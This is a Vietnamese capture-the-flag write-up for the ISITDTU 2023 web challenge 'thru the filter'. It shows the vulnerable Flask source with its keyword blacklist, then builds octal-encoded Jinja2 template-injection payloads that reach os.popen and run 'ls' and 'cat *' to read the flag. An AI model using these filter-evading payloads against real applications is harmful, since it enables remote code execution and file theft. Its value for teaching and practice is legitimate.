---
# System prepended metadata

title: ISITDTU_CTF_2023

---

# Web challenges

## 1. thru the filter
![](https://hackmd.io/_uploads/rkCY6yYZa.png)

Mới vào thì biết là bị dính `SSTI` của `jinja2` rồi
Đề có cho source, vào đọc thử
```
from flask import Flask, request, render_template_string,redirect

app = Flask(__name__)
def check_payload(payload):
    blacklist = ['import', 'request', 'init', '_', 'b', 'lipsum', 'os', 'globals', 'popen', 'mro', 'cycler', 'joiner', 'u','x','g','args', 'get_flashed_messages', 'base', '[',']','builtins', 'namespace', 'self', 'url_for', 'getitem','.','eval','update','config','read','dict']
    for bl in blacklist:
        if bl in payload:
            return True
    return False
@app.route("/")
def home():
    if request.args.get('c'):
        ssti=request.args.get('c')
        if(check_payload(ssti)):
            return "HOLD UP !!!"
        else:
            return render_template_string(request.args.get('c'))
    else:
        return redirect("""/?c={{ 7*7 }}""")


if __name__ == "__main__":
    app.run()
```
Ú là la, filter khét đấy

Gần như là filter 99% payload có mặt trên thị trường

Stuck một lúc lâu thì quyết định xin hint của 1 người anh so ciuu 😘
<br>

Để bypass được mấy khứa trên thì phải convert payload sang `octal`

Mình có thử sang `hex` nhưng không ăn thua
<br/>

Đầu tiên là dùng 

`().__class__.__base__.__subclasses__()`

Để dump toàn bộ các subclass object

Dùng `attr` để bypass `.`

Có thể hình dung như sau: thay vì `foot.bar` mình có thể dùng `foot|attr('bar')`

payload: `{{()|attr("\137\137\143\154\141\163\163\137\137")|attr('\137\137\142\141\163\145\137\137')|attr('\137\137\163\165\142\143\154\141\163\163\145\163\137\137')()}}`

![](https://hackmd.io/_uploads/Sym061KZa.png)

Ở đây có cả `subprocess.Popen`, và `os.wrap_close`, cả 2 lớp này cung cấp các phương thức để exec code
<br>

Cách 1:
Giờ cần tìm được chính xác `subprocess.Popen` nằm ở đâu trong mớ kia 😑

Dùng
`().__class__.__base__.__subclasses__()[?]`

Vì filter luôn cả `[`, `]` nên mình dùng `__getitem__(?)` thay cho `[?]`

Sau một hồi brute thì cuối cùng cũng tìm thấy
![](https://hackmd.io/_uploads/H1gxCJF-6.png)

payload: `{{()|attr("\137\137\143\154\141\163\163\137\137")|attr('\137\137\142\141\163\145\137\137')|attr('\137\137\163\165\142\143\154\141\163\163\145\163\137\137')()|attr('\137\137\147\145\164\151\164\145\155\137\137')(367)}}`
![](https://hackmd.io/_uploads/HJcx01FZ6.png)

<br/>

Thường sử dụng `__init__` để gọi `__globals__` và trả về tất cả các module và phương thức có thể sử dụng

`().__class__.__base__.__subclasses__()[367].__init__.__globals__`

payload: `{{()|attr("\137\137\143\154\141\163\163\137\137")|attr('\137\137\142\141\163\145\137\137')|attr('\137\137\163\165\142\143\154\141\163\163\145\163\137\137')()|attr('\137\137\147\145\164\151\164\145\155\137\137')(367)|attr('\137\137\151\156\151\164\137\137')|attr('\137\137\147\154\157\142\141\154\163\137\137')}}`
<br/>

Để sử dụng được hàm `popen` thì phải thông qua lớp `os`

`().__class__.__base__.__subclasses__()[367].__init__.__globals__['os'].popen('ls').read()`

payload: `{{()|attr("\137\137\143\154\141\163\163\137\137")|attr('\137\137\142\141\163\145\137\137')|attr('\137\137\163\165\142\143\154\141\163\163\145\163\137\137')()|attr('\137\137\147\145\164\151\164\145\155\137\137')(367)|attr('\137\137\151\156\151\164\137\137')|attr('\137\137\147\154\157\142\141\154\163\137\137')|attr('\137\137\147\145\164\151\164\145\155\137\137')('\157\163')|attr('\160\157\160\145\156')('ls')|attr('\162\145\141\144')()}}`
![](https://hackmd.io/_uploads/ByiNA1YZa.png)

Ú là la đi lụm flag thôi

Chả hiểu sao `flag` bị filter mà trong source lại không thấy 😑

`().__class__.__base__.__subclasses__()[367].__init__.__globals__['os'].popen('cat *').read()`

payload: `{{()|attr("\137\137\143\154\141\163\163\137\137")|attr('\137\137\142\141\163\145\137\137')|attr('\137\137\163\165\142\143\154\141\163\163\145\163\137\137')()|attr('\137\137\147\145\164\151\164\145\155\137\137')(367)|attr('\137\137\151\156\151\164\137\137')|attr('\137\137\147\154\157\142\141\154\163\137\137')|attr('\137\137\147\145\164\151\164\145\155\137\137')('\157\163')|attr('\160\157\160\145\156')('cat+*')|attr('\162\145\141\144')()}}`
![](https://hackmd.io/_uploads/BJ8_0JF-p.png)

<br/>


Cách 2: Dùng `os.wrap_close`

Tương tự như cách 1, cần tìm được vị trí của nó (ở 137)

![](https://hackmd.io/_uploads/BJrsRkYb6.png)

Và payload cũng sẽ hơi khác một chút

`().__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']('cat *').read()`

full payload: `{{()|attr("\137\137\143\154\141\163\163\137\137")|attr('\137\137\142\141\163\145\137\137')|attr('\137\137\163\165\142\143\154\141\163\163\145\163\137\137')()|attr('\137\137\147\145\164\151\164\145\155\137\137')(137)|attr('\137\137\151\156\151\164\137\137')|attr('\137\137\147\154\157\142\141\154\163\137\137')|attr('\137\137\147\145\164\151\164\145\155\137\137')('\160\157\160\145\156')('cat+*')|attr('\162\145\141\144')()}}`


Flag: ~~**`ISITDTU{tough_times_create_tough_guys!@@%#0@}`**~~